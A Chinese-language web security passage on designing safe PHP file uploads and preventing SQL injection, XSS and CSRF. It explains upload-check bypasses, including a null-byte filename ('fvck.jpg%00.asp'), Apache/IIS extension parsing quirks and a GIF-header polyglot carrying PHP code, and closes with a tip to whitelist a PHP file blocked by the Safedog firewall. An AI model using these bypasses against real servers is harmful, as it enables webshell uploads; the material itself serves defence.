如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀許可權。
當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。
3. 如何設計出一個安全的文件上傳功能
這兩天我們的老朋友PDP在BlackHat 08上做了一個關於GIFAR的演講。和往常一樣,PDP的東西基本上都很猥瑣,這個也是。主題是關於是如何把GIF或者 JPG文件和JAR文件捆綁在一起,然後欺騙伺服器以為是GIF或JPG文件,結果卻是在客戶端的JVM中執行JAR的例子。
他還舉了些欺騙的例子,比如在office2007中,doc文件實際上就是zip格式了,裡面都是些xml,那麼他把jar文件打包在zip文件里,再把後綴改成doc,來達到欺騙的目的。
在這里是客戶端的問題,我想到的則是其他的問題,比如安全上傳。
根據以往的經驗看來,我們可能會設計如下文件上傳的安全規則:
1. 文件上傳的目錄設置為不可執行
2. 判斷文件類型
3. 單獨設置文件伺服器的域名
4. 改寫文件名,文件路徑不可預測
第一點規則是顯而易見的,是為了減小執行動態語言腳本的風險。如果被成功上傳了一個webshell,但是不能執行,還是能夠起到深度防禦的作用。
第二點,在判斷文件類型的時候,我們一般要求使用白名單,而不是黑名單,因為黑名單可能會列不全,還可能會造成一些bypass的風險。
比如以前老版本的 FCKEditor就出過這種問題,只做了黑名單的控制,最後被bypass。
而apache有個特性,是解析第一個「 . 」後的文件後綴作為文件類型,比如 fvck.php.rar.rar.rar 會被apache當作 fvck.php解析。 我最近看了下php的手冊,在安裝文檔里,針對這個問題,專門有一個指導:
15. Tell Apache to parse certain extensions as PHP. For example, lets have
Apache parse .php files as PHP. Instead of only using the Apache AddType
directive, we want to avoid potentially dangerous uploads and created
files such as exploit.php.jpg from being executed as PHP. Using this
example, you could have any extension(s) parse as PHP by simply adding
them. Well add .phtml to demonstrate.
<FilesMatch .php$>
SetHandler application/x-httpd-php
</FilesMatch>
IIS6也有這種類似的特性,即在文件夾名字為 fvck.asp 時(fvck可替換為任意值),該文件夾下任何文件都會被當作asp來執行,
至今似乎也未見到微軟有把這個特性當作bug來fix的跡象。
所以如果不熟悉這些webserver的特性,你可能會覺得漏洞來的如此神奇:我明明做了充分限制,為什麼還是被「做俯卧撐」了?
在判斷文件類型的時候,大多數程序都是使用的採用檢查文件後綴的方法,這里主要需要注意的hacking trick是某些檢查函數是否會以0位元組作為結束的判斷,以前動網就出過類似的漏洞,上傳 fvck.jpg%00.asp即可繞過文件類型檢查。
我也見過只檢查文件頭部的,這種也很好欺騙,構造一個合法的gif文件頭部,然後將webshell貼在後面,在後綴合法的情況下,一樣能夠被瀏覽器解析:
GIF89a ?
<? phpinfo(); ?>
比較高級一點的是做更多的文件格式檢查,比如檢查圖片里像素的長寬等,然後再對圖片做一次壓縮,這樣出來的圖片基本都變形了,有啥webshell也被破壞了。
而檢查文件格式時候一般會用到一些網上已經封裝好的類,在掃描文件格式方面還是比較有優勢的。但是在檢查大文件的時候效率顯然是一個需要考慮的問題,很多程序員出於效率原因可能不太會願意選擇這種方式。
但是今天從PDP的這個綁定文件的猥瑣方法看來,詳細檢查文件格式的方法還是非常有必要的,因為攻擊者的目標可能不光是伺服器,還是客戶端,如果要對客戶端有所保證,就必須要詳細檢查文件格式,使之落在白名單中。
第三點,單獨設置文件伺服器域名,也是一種針對客戶端的保護。這樣可能會避免許多跨域的問題。如果發生了XSS,攻擊者可能還需要突破跨域的限制才能進一步擴大戰果。再比如如果被上傳了crossdomain.xml,可能就會導致flash的跨域問題,這些都是實實在在的風險。
第四點,改寫文件名,隨機文件路徑。這是把風險藏起來,現在基本上盡職一點的程序員都會這么設計,這也是最大程度減小風險的非常切實有效的手段。
需要注意的是構造隨機文件名或路徑的演算法需要足夠「隨機」,而不要從比如cookie之類的地方直接取一段hash出來。比較好的做法是在server上用類似random()一類的函數來生成,相信程序員們這點意識還是有的,不再贅述了。
4. 如何實現php的安全最大化怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞
使用php安全模式
伺服器要做好管理,賬號許可權是否合理。
假定所有用戶的輸入都是「惡意」的,防止XSS攻擊,譬如:對用戶的輸入輸出做好必要的過濾
防止CSRF,表單設置隱藏域,post一個隨機字元串到後台,可以有效防止跨站請求偽造。
文件上傳,檢查是否做好效驗,要注意上傳文件存儲目錄許可權。
防禦SQL注入。
避免SQL注入漏洞
1.使用預編譯語句
2.使用安全的存儲過程
3.檢查輸入數據的數據類型
4.從資料庫自身的角度考慮,應該使用最小許可權原則,不可使用root或dbowner的身份連接資料庫。若多個應用使用同一個資料庫,也應該為資料庫分配不同的賬戶。web應用使用的資料庫賬戶,不應該有創建自定義函數,操作本地文件的許可權。
避免XSS跨站腳本攻擊
1.假定所有用戶輸入都是「邪惡」的
2.考慮周全的正則表達式
3.為cookie設置HttpOnly,防止cookie劫持
4.外部js不一定可靠
5.出去不必要的HTML注釋
6. 針對非法的HTML代碼包括單雙引號等,使用htmlspecialchars()函數。
5. 上傳php文件被安全狗攔截怎麼辦
安全狗安全嗎,。。。了,還佔用資源~~~
那你看看安全狗沒有類似白名單的設置~~~把你的文件加入即可~~~